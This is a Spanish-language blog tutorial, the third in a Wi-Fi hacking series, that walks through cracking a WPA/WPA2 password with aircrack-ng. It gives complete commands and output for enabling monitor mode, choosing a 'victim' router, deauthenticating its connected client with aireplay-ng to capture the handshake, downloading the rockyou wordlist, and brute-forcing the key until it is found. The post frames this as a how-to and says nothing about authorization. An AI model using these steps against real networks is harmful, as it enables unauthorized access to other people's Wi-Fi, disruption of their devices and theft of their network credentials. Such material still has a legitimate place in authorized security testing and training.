Hacking Wi-Fi 3: Crackeando WPA/WPA2 con aircrack-ng

Vay3t
4 min readNov 16, 2020

--

Crackeando contraseñas WPA/WPA2 con aircrack-ng usando fuerza bruta.

¿Qué es WPA/WPA2?

Wi-Fi Protected Access es un sistema de cifrado que apareció para corregir las vulnerabilidades de la WEP, fue diseñado para usar un servidor de autenticación (RADIUS) que distribuye claves diferentes a cada usuario. Pero también se puede usar en una forma menos segura una contraseña precompartida, donde distintos usuarios pueden usar la misma para poder autenticarse.

Crackeando WPA/WPA2

El crackeo de la WPA/WPA2 consta de 4 pasos, el primero es colocar la tarjeta en modo monitor, el segundo es seleccionar el router de la víctima que tenga algún cliente conectado, el tercero es capturar el tráfico generado por el router victima mientras se hace un ataque de desautenticación al cliente conectado, esperamos a que el cliente se vuelva a conectar otra ves para capturarle la handshake (la handshake es lo que nos sirve para poder romper la contraseña) y el último paso es usar aircrack-ng y un diccionario (lista de contraseñas posibles en formato txt) para poder romper la contraseña. Actualmente es la más usada.

Colocando la tarjeta en modo monitor

sudo airmon-ng start wlan1

Seleccionando una victima

Cuando usamos el siguiente comando airodump-ng wlan1mon lo que hacemos es usar la tarjeta en modo monitor para poder identificar las redes Wifi existentes.

root@vay3t:~# airodump-ng wlan1mon 

CH 5 ][ Elapsed: 0 s ][ 2017-10-30 18:22

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

C0:56:27:DD:4F:63 -33 2 0 0 6 54 WPA2 CCMP PSK c1sc0
C0:05:C2:C2:04:B1 -71 2 0 0 7 54e. WPA2 CCMP PSK Movistar

BSSID STATION PWR Rate Lost Frames Probe

C0:56:27:DD:4F:63 30:A8:DB:F1:66:82 -30 0 - 1 0 3

Nos damos cuenta de que el router c1sc0 tiene ENC WPA2 con un cliente conectado lo que significa que nos interesa.

Capturando el handshake

Ya que hemos seleccionado nuestra victima tenemos que capturar mientras realizamos el ataque de desautenticación con aireplay-ng para poder capturar el handshake

root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w outout

CH 6 ][ Elapsed: 2 mins ][ 2017-10-30 18:28 ]

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

C0:56:27:DD:4F:63 -6 100 0 0 0 6 54 WPA2 CCMP PSK c1sc0

BSSID STATION PWR Rate Lost Frames Probe

C0:56:27:DD:4F:63 30:A8:DB:F1:66:82 0 1 - 1 0 0 c1sc0

Mientras tenemos airodump-ng corriendo usaremos otra ventana para poder realizar el ataque de desautenticación. Lo que hace el ataque de desautenticación es botar al cliente para que vuelva a ingresar al router y de esa forma capturar el handshake

root@vay3t:~# aireplay-ng wlan1mon -0 4 -a C0:56:27:DD:4F:63 -c 30:A8:DB:F1:66:82
18:27:56 Waiting for beacon frame (BSSID: C0:56:27:DD:4F:63) on channel 6
18:27:57 Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|60 ACKs]
18:27:58 Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|59 ACKs]
18:27:58 Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 0|69 ACKs]
18:27:59 Sending 64 directed DeAuth. STMAC: [30:A8:DB:F1:66:82] [ 6|51 ACKs]
  • -0 4: También usado como --deauth 4 lo que hace es seleccionar el ataque deauth y enviar 4 paquetes con este ataque para poder botar al cliente
  • -a C0:56:27:DD:4F:63: Se usa para poder especificar el router victima
  • -c 30:A8:DB:F1:66:82: Se utiliza para poder especificar al cliente a quien vamos a botar

Este ataque se hace cuantas veces sea necesario hasta capturar el handshake. Luego de un rato nos damos cuenta que aparece esto en la ventana del airodump-ng: [ WPA handshake: C0:56:27:DD:4F:63

root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w outout

CH 6 ][ Elapsed: 2 mins ][ 2017-10-30 18:28 ][ WPA handshake: C0:56:27:DD:4F:63

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

C0:56:27:DD:4F:63 -6 100 1154 290 0 6 54 WPA2 CCMP PSK c1sc0

BSSID STATION PWR Rate Lost Frames Probe

C0:56:27:DD:4F:63 30:A8:DB:F1:66:82 0 1 - 1 3518 14635 c1sc0

Crackeando con aircrack-ng

Después de haber capturado el handshake lo que haremos ahora es usar fuerza bruta para poder romper la contraseña. Para eso necesitamos descargar un diccionario, uno genérico que recomiendo mucho es rockyou.txt

wget http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
bzip2 -d rockyou.txt.bz2

Ahora que tenemos el diccionario usamos aircrack-ng donde con -w rockyou.txt especificamos la ruta del diccionario y luego colocamos el nombre que le hemos puesto a la captura de airodump-ng agregando un -01.cap

root@vay3t:~# aircrack-ng -w rockyou.txt outout-01.cap
Opening outout-01.cap
Read 38818 packets.

# BSSID ESSID Encryption

1 C0:56:27:DD:4F:63 c1sc0 WPA (1 handshake)

Choosing first network as target.

Opening outout-01.cap
Reading packets, please wait...

Aircrack-ng 1.2 rc4

[00:00:09] 6232/9822769 keys tested (634.98 k/s)

Time left: 4 hours, 18 minutes, 3 seconds 0.06%

KEY FOUND! [ 19721972 ]


Master Key : FD 87 8D EA 6D 83 8C B7 91 84 77 EA BE FE 17 53
E6 EA 82 CC 03 A8 35 DB 7D 90 4A A7 11 EC AE 43

Transient Key : 78 64 90 59 B8 3A 5F 10 00 0E 25 84 C4 EB 51 55
D6 C1 F3 85 9E F8 E7 ED 7D 23 DC 47 28 67 7F 04
3A 71 CE 5C 86 FB 19 B1 D5 4A 32 AD 5D 62 24 DF
E7 0C D5 BB 74 DA 39 DA FD 8F 37 FF 16 53 77 BD

EAPOL HMAC : A6 A7 F5 44 1E DE 57 6E 8D 06 01 D3 34 F6 D7 7B

Y luego de esperar un momento ya tenemos nuestra contraseña:

KEY FOUND! [ 19721972 ]

--

--